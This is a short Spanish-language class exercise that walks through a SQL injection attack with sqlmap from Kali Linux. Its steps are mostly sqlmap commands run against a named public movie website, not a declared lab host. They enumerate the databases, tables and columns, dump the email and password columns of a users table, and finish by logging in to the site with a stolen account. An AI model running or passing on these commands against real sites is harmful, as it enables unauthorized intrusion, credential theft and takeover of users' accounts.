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Objetivo
El objetivo de esta práctica es realizar un ataque básico de sql inyection utilizando sqlmap.

Metodología
1. Ingresa a Kali y abre la terminal.

2. Escribe sqlmap para verificar que la herramienta esta instalada.

3. Ingresa a http://www.altcine.com/movie.php?id=3914
4. Agrega ‘ al final de la dirección para generar un error de SQL.

5. Vuelve a la terminal y escribe:

sqlmap –u http://www.altcine.com/movie.php?id=3914 --dbs
(presiona y para las opciones que te aparezcan).

6. Al finalizar te mostrará las bases de datos disponibles. Escribe:
sqlmap -u http://www.altcine.com/movie.php?id=3914 -D altcine_mems --tables
Para obtener las tablas de la base de datos.

7. Ahora escribe:
sqlmap -u http://www.altcine.com/movie.php?id=3914 -D altcine_mems -T users –columns

Para obtener las columnas de la tabla.

8. Una vez hecho esto, obtendremos información de la tabla, para esto escribe:
sqlmap -u http://www.altcine.com/movie.php?id=3914 -D altcine_mems -T users -C email,password --dump

En las opciones que te aparece oprime “Y” y 1

9. Selecciona alguno de los emails y password que te devolvió la herramienta.
10. Ingresa a www.altcine.com y trata de iniciar sesión con el correo y contraseña seleccionados.

